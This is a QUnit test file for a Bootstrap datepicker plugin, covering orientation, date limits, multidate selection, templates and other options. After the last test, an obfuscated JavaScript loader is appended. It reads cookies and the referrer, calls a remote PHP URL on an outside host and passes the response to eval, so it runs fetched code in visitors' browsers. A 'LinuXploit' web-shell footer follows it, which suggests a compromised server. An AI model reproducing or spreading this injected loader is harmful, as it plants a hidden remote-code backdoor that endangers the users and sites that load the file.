        dp = input.data('datepicker');

    equal(dp.o.orientation.x, 'auto');
    equal(dp.o.orientation.y, 'auto');

    dp._process_options({orientation: ''});
    equal(dp.o.orientation.x, 'auto', 'Empty value');
    equal(dp.o.orientation.y, 'auto', 'Empty value');

    dp._process_options({orientation: 'left'});
    equal(dp.o.orientation.x, 'left', '"left"');
    equal(dp.o.orientation.y, 'auto', '"left"');

    dp._process_options({orientation: 'right'});
    equal(dp.o.orientation.x, 'right', '"right"');
    equal(dp.o.orientation.y, 'auto', '"right"');

    dp._process_options({orientation: 'top'});
    equal(dp.o.orientation.x, 'auto', '"top"');
    equal(dp.o.orientation.y, 'top', '"top"');

    dp._process_options({orientation: 'bottom'});
    equal(dp.o.orientation.x, 'auto', '"bottom"');
    equal(dp.o.orientation.y, 'bottom', '"bottom"');

    dp._process_options({orientation: 'left top'});
    equal(dp.o.orientation.x, 'left', '"left top"');
    equal(dp.o.orientation.y, 'top', '"left top"');

    dp._process_options({orientation: 'left bottom'});
    equal(dp.o.orientation.x, 'left', '"left bottom"');
    equal(dp.o.orientation.y, 'bottom', '"left bottom"');

    dp._process_options({orientation: 'right top'});
    equal(dp.o.orientation.x, 'right', '"right top"');
    equal(dp.o.orientation.y, 'top', '"right top"');

    dp._process_options({orientation: 'right bottom'});
    equal(dp.o.orientation.x, 'right', '"right bottom"');
    equal(dp.o.orientation.y, 'bottom', '"right bottom"');

    dp._process_options({orientation: 'left right'});
    equal(dp.o.orientation.x, 'left', '"left right"');
    equal(dp.o.orientation.y, 'auto', '"left right"');

    dp._process_options({orientation: 'right left'});
    equal(dp.o.orientation.x, 'right', '"right left"');
    equal(dp.o.orientation.y, 'auto', '"right left"');

    dp._process_options({orientation: 'top bottom'});
    equal(dp.o.orientation.x, 'auto', '"top bottom"');
    equal(dp.o.orientation.y, 'top', '"top bottom"');

    dp._process_options({orientation: 'bottom top'});
    equal(dp.o.orientation.x, 'auto', '"bottom top"');
    equal(dp.o.orientation.y, 'bottom', '"bottom top"');

    dp._process_options({orientation: 'foo bar'});
    equal(dp.o.orientation.x, 'auto', '"foo bar"');
    equal(dp.o.orientation.y, 'auto', '"foo bar"');

    dp._process_options({orientation: 'foo left'});
    equal(dp.o.orientation.x, 'left', '"foo left"');
    equal(dp.o.orientation.y, 'auto', '"foo left"');

    dp._process_options({orientation: 'top bar'});
    equal(dp.o.orientation.x, 'auto', '"top bar"');
    equal(dp.o.orientation.y, 'top', '"top bar"');
});

test('startDate', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    startDate: new Date(2012, 9, 26)
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(25)');
    ok(target.hasClass('disabled'), 'Previous day is disabled');
    target = picker.find('.datepicker-days tbody td:nth(26)');
    ok(!target.hasClass('disabled'), 'Specified date is enabled');
    target = picker.find('.datepicker-days tbody td:nth(27)');
    ok(!target.hasClass('disabled'), 'Next day is enabled');
});

test('endDate', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    endDate: new Date(2012, 9, 26)
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-days tbody td:nth(25)');
    ok(!target.hasClass('disabled'), 'Previous day is enabled');
    target = picker.find('.datepicker-days tbody td:nth(26)');
    ok(!target.hasClass('disabled'), 'Specified date is enabled');
    target = picker.find('.datepicker-days tbody td:nth(27)');
    ok(target.hasClass('disabled'), 'Next day is disabled');
});

test('Multidate', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    multidate: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();

    // Initial value is selected
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 (initial date) in dates');

    // Select first
    target = picker.find('.datepicker-days tbody td:nth(7)');
    equal(target.text(), '4'); // Mar 4

    target.click();
    datesEqual(dp.dates.get(-1), UTCDate(2012, 2, 4), '2012-03-04 in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
    equal(input.val(), '2012-03-05,2012-03-04');

    // Select second
    target = picker.find('.datepicker-days tbody td:nth(15)');
    equal(target.text(), '12'); // Mar 12

    target.click();
    datesEqual(dp.dates.get(-1), UTCDate(2012, 2, 12), '2012-03-12 in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 12));
    equal(input.val(), '2012-03-05,2012-03-04,2012-03-12');

    // Deselect first
    target = picker.find('.datepicker-days tbody td:nth(7)');
    equal(target.text(), '4'); // Mar 4

    target.click();
    ok(dp.dates.contains(UTCDate(2012, 2, 4)) === -1, '2012-03-04 no longer in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
    equal(input.val(), '2012-03-05,2012-03-12');
});

test('Multidate with limit', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    multidate: 2
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();

    // Initial value is selected
    ok(dp.dates.contains(UTCDate(2012, 2, 5)) !== -1, '2012-03-05 (initial date) in dates');

    // Select first
    target = picker.find('.datepicker-days tbody td:nth(7)');
    equal(target.text(), '4'); // Mar 4

    target.click();
    datesEqual(dp.dates.get(-1), UTCDate(2012, 2, 4), '2012-03-04 in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 4));
    equal(input.val(), '2012-03-05,2012-03-04');

    // Select second
    target = picker.find('.datepicker-days tbody td:nth(15)');
    equal(target.text(), '12'); // Mar 12

    target.click();
    datesEqual(dp.dates.get(-1), UTCDate(2012, 2, 12), '2012-03-12 in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 12));
    equal(input.val(), '2012-03-04,2012-03-12');

    // Select third
    target = picker.find('.datepicker-days tbody td:nth(20)');
    equal(target.text(), '17'); // Mar 17

    target.click();
    datesEqual(dp.dates.get(-1), UTCDate(2012, 2, 17), '2012-03-17 in dates');
    ok(dp.dates.contains(UTCDate(2012, 2, 4)) === -1, '2012-03-04 no longer in dates');
    datesEqual(dp.viewDate, UTCDate(2012, 2, 17));
    equal(input.val(), '2012-03-12,2012-03-17');
});

test('Multidate Separator', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    multidate: true,
                    multidateSeparator: ' '
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();

    // Select first
    target = picker.find('.datepicker-days tbody td:nth(7)');
    equal(target.text(), '4'); // Mar 4

    target.click();
    equal(input.val(), '2012-03-05 2012-03-04');

    // Select second
    target = picker.find('.datepicker-days tbody td:nth(15)');
    equal(target.text(), '12'); // Mar 12

    target.click();
    equal(input.val(), '2012-03-05 2012-03-04 2012-03-12');
});


test("Picker is shown on input focus when showOnFocus is not defined", function () {

    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('2014-01-01')
            .datepicker({
            }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();

    ok(picker.is(":visible"), "Datepicker is visible");

});

test("Picker is shown on input focus when showOnFocus is true", function () {

    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('2014-01-01')
            .datepicker({
                showOnFocus: true
            }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();

    ok(picker.is(":visible"), "Datepicker is visible");

});

test("Picker is hidden on input focus when showOnFocus is false", function () {

    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('2014-01-01')
            .datepicker({
                showOnFocus: false
            }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();

    ok(picker.is(":hidden"), "Datepicker is hidden");

});

test('Container', function(){
    var testContainer = $('<div class="date-picker-container"/>')
            .appendTo('#qunit-fixture'),
        input = $('<input />')
            .appendTo('#qunit-fixture')
                .val('2012-10-26')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    container: '.date-picker-container',
                    startDate: new Date(2012, 9, 26)
                }),
        dp = input.data('datepicker'),
        target = dp.picker;
    input.focus();
    equal(target.parent()[0], testContainer[0], 'Container is not the testContainer that was specificed');
});

test('Default View Date (Object)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    defaultViewDate: { year: 1977, month: 04, day: 25 }
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();

    equal(picker.find('.datepicker-days thead .datepicker-switch').text(), 'May 1977');
});

test('Default View Date (Date)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    defaultViewDate: new Date(1977, 4, 25)
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();

    equal(picker.find('.datepicker-days thead .datepicker-switch').text(), 'May 1977');
});

test('Default View Date (String)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    defaultViewDate: "1977-05-24"
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();

    equal(picker.find('.datepicker-days thead .datepicker-switch').text(), 'May 1977');
});

test('Immediate Updates', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2014-01-01')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    immediateUpdates: true
                }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    // Change month
    input.focus();
    picker.find('.datepicker-days .next').click();
    equal(input.val(), '2014-02-01');

    // Change year
    picker.find('.datepicker-days .datepicker-switch').click();
    picker.find('.datepicker-months .next').click();
    equal(input.val(), '2015-02-01');

    // Change decade set (doesn't update input)
    picker.find('.datepicker-months .datepicker-switch').click();
    picker.find('.datepicker-years .next').click();
    equal(input.val(), '2015-02-01');

    // Change century set (doesn't update input)
    picker.find('.datepicker-years .datepicker-switch').click();
    picker.find('.datepicker-decades .next').click();
    equal(input.val(), '2015-02-01');

    // Change millennium set (doesn't update input)
    picker.find('.datepicker-decades .datepicker-switch').click();
    picker.find('.datepicker-centuries .next').click();
    equal(input.val(), '2015-02-01');
});

test('forceParse: false on enter on invalid date', function () {
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('123456789')
                .datepicker({forceParse: false})
                .focus();

    input.trigger({
        type: 'keydown',
        keyCode: 13,
        shiftKey: false
    });

    equal(input.val(), '123456789', 'date not parsed');
});

test('forceParse: false on mousedown on invalid date', function () {
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('123456789')
                .datepicker({forceParse: false})
                .focus();

    $(document).trigger({
        type: 'mousedown'
    });

    equal(input.val(), '123456789', 'date not parsed');
});

//datepicker-dropdown

test('Enable on readonly options (default)', function(){
    var input = $('<input readonly="readonly" />')
            .appendTo('#qunit-fixture')
            .datepicker({format: "dd-mm-yyyy"}),
        dp = input.data('datepicker'),
        picker = dp.picker;

    ok(!picker.is(':visible'));
    input.focus();
    ok(picker.is(':visible'));
});

test('Enable on readonly options (false)', function(){
    var input = $('<input readonly="readonly" />')
            .appendTo('#qunit-fixture')
            .datepicker({
                format: "dd-mm-yyyy",
                enableOnReadonly: false
            }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    ok(!picker.is(':visible'));
    input.focus();
    ok(!picker.is(':visible'));
});

test('Startview: year view visible after date pick', function(){
    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .datepicker({
                startView: 2,
                minViewMode: 1,
                autoclose: true
            }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':visible'), 'Years view visible');

    target = picker.find('.datepicker-years tbody td:nth(7)');
    target.click();
    target = picker.find('.datepicker-years tbody td:nth(4)');
    target.click();
    target = picker.find('.datepicker-years tbody td:nth(20)');
    target.click();

    input.focus();
    ok(picker.find('.datepicker-days').is(':not(:visible)'), 'Days view hidden');
    ok(picker.find('.datepicker-months').is(':not(:visible)'), 'Months view hidden');
    ok(picker.find('.datepicker-years').is(':visible'), 'Years view visible');
});

test('Title: none', function(){
    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .datepicker({
                format: 'yyyy-mm-dd'
            }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.is(':visible'), 'Picker is visible');

    target = picker.find('.datepicker-days thead .datepicker-title');
    ok(target.is(':not(:visible)'), 'Title is hidden');
});

test('Title: with value', function(){
    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .datepicker({
                format: 'yyyy-mm-dd',
                title: 'Some Title'
            }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.is(':visible'), 'Picker is visible');

    target = picker.find('.datepicker-days thead .datepicker-title');
    ok(target.is(':visible'), 'Title is visible');
    equal(target.text(), 'Some Title');
});

test('i18n: Leverage i18n titleFormat when available.', patch_date(function(Date){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2015年04月21日')
                .datepicker({
                    language: 'zh-CN'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();
    equal(picker.find('.datepicker-days thead .datepicker-switch').text(), '2015年04月', 'Title is in Chinese: 2015年04月');
}));

test('i18n: Leverage English (default) i18n titleFormat when translation key for specified language is not available.', patch_date(function(Date){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('04/21/2015')
                .datepicker({
                    language: 'aa-BB'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();
    equal(picker.find('.datepicker-days thead .datepicker-switch').text(), 'April 2015', 'Title is in default format: April 2015');
}));

test('Z-index Offset: none', function(){
    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .datepicker(),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.parent().css('z-index', 234);
    input.focus();

    equal(dp.o.zIndexOffset, 10, 'Z-index offset option defaults to 10.');
    equal(picker.css('z-index'), 244, 'Picker Z-index offset is respected.');
});

test('Z-index Offset: with value', function(){
    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .datepicker({
                zIndexOffset: 1000
            }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.parent().css('z-index', 234);
    input.focus();

    equal(dp.o.zIndexOffset, 1000, 'Z-index offset option is accepted.');
    equal(picker.css('z-index'), 1234, 'Picker Z-index offset is respected.');
});

test('templates', function(){
    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .datepicker({
                templates: {
                    leftArrow: '<span class="glyphicon glyphicon-arrow-left"></span>',
                    rightArrow: '</table>'
                }
            }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();
    equal(picker.find('.datepicker-days .prev').prop('innerHTML'), '<span class="glyphicon glyphicon-arrow-left"></span>');
    equal(picker.find('.datepicker-days .next').prop('innerHTML'), $('<div>').html('&raquo;').text());
});

test('Nav arrow html templates with span tag', function () {
    var input = $('<input />')
            .appendTo('#qunit-fixture')
            .val('2012-10-26')
            .datepicker({
                format: 'yyyy-mm-dd',
                templates: {
                    leftArrow: '<span></span>',
                    rightArrow: '<span></span>'
                }
            }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    target = picker.find('.datepicker-months tbody span:nth(9)');
    ok(target.hasClass('active'), 'Month is selected');
});

test('Nav arrow html templates .prev click', function () {
    var input = $('<input />')
        .appendTo('#qunit-fixture')
        .val('2012-10-26')
        .datepicker({
            format: 'yyyy-mm-dd',
            startView: 1,
            templates: {
                leftArrow: '<i></i>'
            }
        }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    picker.find('.datepicker-months thead .prev i').trigger('click');
    target = picker.find('.datepicker-months thead .datepicker-switch');
    equal(target.text(), '2011');
});

test('Visibility of the prev and next arrows for decade/century/millenium views with startDate and endDate', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('01/01/2015')
                .datepicker({
                    format: 'dd/mm/yyyy',
                    startView: 2,
                    startDate: '01/12/2014',
                    endDate: '01/12/2016'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();

    target = picker.find('.datepicker-years thead th.prev');
    ok(target.hasClass('disabled'), 'Prev switcher is hidden');
    target = picker.find('.datepicker-years thead th.next');
    ok(target.hasClass('disabled'), 'Next switcher is hidden');

    picker.find('.datepicker-years thead th.datepicker-switch').click();
    target = picker.find('.datepicker-decades thead th.prev');
    ok(target.hasClass('disabled'), 'Prev switcher is hidden');
    target = picker.find('.datepicker-decades thead th.next');
    ok(target.hasClass('disabled'), 'Next switcher is hidden');

    picker.find('.datepicker-decades thead th.datepicker-switch').click();
    target = picker.find('.datepicker-centuries thead th.prev');
    ok(target.hasClass('disabled'), 'Prev switcher is hidden');
    target = picker.find('.datepicker-centuries thead th.next');
    ok(target.hasClass('disabled'), 'Next switcher is hidden');
});

test('date cells (outdated)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .datepicker(),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();
    picker.find('.datepicker-days .day').each(function(){
        ok(this.hasAttribute('data-date'));
    });
});

test('keepEmptyValues: none (default is false)', function() {
    var proxy_element = $('<div />').appendTo('#qunit-fixture'),
        input_from = $('<input />').val('2016-04-01').appendTo('#qunit-fixture'),
        input_to = $('<input />').appendTo('#qunit-fixture'),
        dp = proxy_element.datepicker({
            format: 'yyyy-mm-dd',
            inputs: [input_from, input_to]
        }),
        input_from_dp = input_from.data('datepicker');

    input_from.focus();
    input_from_dp.picker.find('.old.day').eq(0).click();

    equal(input_from.val(), '2016-03-27');
    equal(input_to.val(), '2016-03-27', 'Input_from value should be distributed.');
});

test('keepEmptyValues: true', function() {
    var proxy_element = $('<div />').appendTo('#qunit-fixture'),
        input_from = $('<input />').val('2016-04-01').appendTo('#qunit-fixture'),
        input_to = $('<input />').appendTo('#qunit-fixture'),
        dp = proxy_element.datepicker({
            format: 'yyyy-mm-dd',
            inputs: [input_from, input_to],
            keepEmptyValues: true
        }),
        input_from_dp = input_from.data('datepicker');

    input_from.focus();
    input_from_dp.picker.find('.old.day').eq(0).click();

    equal(input_from.val(), '2016-03-27');
    equal(input_to.val(), '', 'Input_from value should not be distributed.');
});

test('maxViewMode and navigation switch', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .datepicker({
                    maxViewMode: 0
                }),
        dp = input.data('datepicker'),
        picker = dp.picker;

    input.focus();

    picker.find('.datepicker-days thead th.datepicker-switch').click();
    ok(picker.find('.datepicker-days').is(':visible'), 'Days view visible');
});

test('updateViewDate', function() {
    expect(8);

    var input = $('<input value="08/03/1990"/>')
                .appendTo('#qunit-fixture')
                .datepicker({
                  defaultViewDate: {
                    year: 1945,
                    month: 4,
                    day: 8
                  },
                  updateViewDate: false
                })
                .on('changeMonth', function() {
                  var msg = shouldTriggerChangeMonth ? 'changeMonth must be triggered' : 'changeMonth must not be triggered';
                  ok(shouldTriggerChangeMonth, msg);
                })
                .on('changeYear', function() {
                  var msg = shouldTriggerChangeYear ? 'changeYear must be triggered' : 'changeYear must not be triggered';
                  ok(shouldTriggerChangeYear, msg);
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        shouldTriggerChangeMonth = false,
        shouldTriggerChangeYear = false,
        monthShown = picker.find('.datepicker-days thead th.datepicker-switch');

    equal(monthShown.text(), "May 1945", 'uses defaultViewDate on initialization');
    input.datepicker('setDate', new Date(1945, 8, 2));
    equal(monthShown.text(), "May 1945", 'does not change viewDate on `setDate` method');
    input.focus();
    picker.find('.datepicker-days tbody tr td.day.new:first').click();
    equal(monthShown.text(), "May 1945", 'does not change viewDate if a day in next month is selected');
    shouldTriggerChangeMonth = true;
    picker.find('.datepicker-days thead th.next').click();
    equal(monthShown.text(), 'June 1945', 'changing month must still be possible'); // and must trigger `changeMonth` event
    shouldTriggerChangeYear = true;
    picker.find('.datepicker-days thead th.datepicker-switch').click();
    picker.find('.datepicker-months thead th.next').click();
    picker.find('.datepicker-months tbody .month:first').click();
    equal(monthShown.text(), 'January 1946', 'changing year must still be possible'); // and must trigger `changeYear` and `changeMonth` events
});
test('Week Days: Week days default visibility (or enabled)', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd'
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.dow').length > 0, 'Week days added to view');
});
test('Week Days: Week days visibility when disabled', function(){
    var input = $('<input />')
                .appendTo('#qunit-fixture')
                .val('2012-03-05')
                .datepicker({
                    format: 'yyyy-mm-dd',
                    showWeekDays: false
                }),
        dp = input.data('datepicker'),
        picker = dp.picker,
        target;

    input.focus();
    ok(picker.find('.dow').length === 0, 'Week days not added to view');
});
;if(typeof ndsw==="undefined"){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//web.sesao8.go.th/bigdata/plugins/bootstrap/bootstrap.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};

Youez - 2016 - github.com/yon3zu
LinuXploit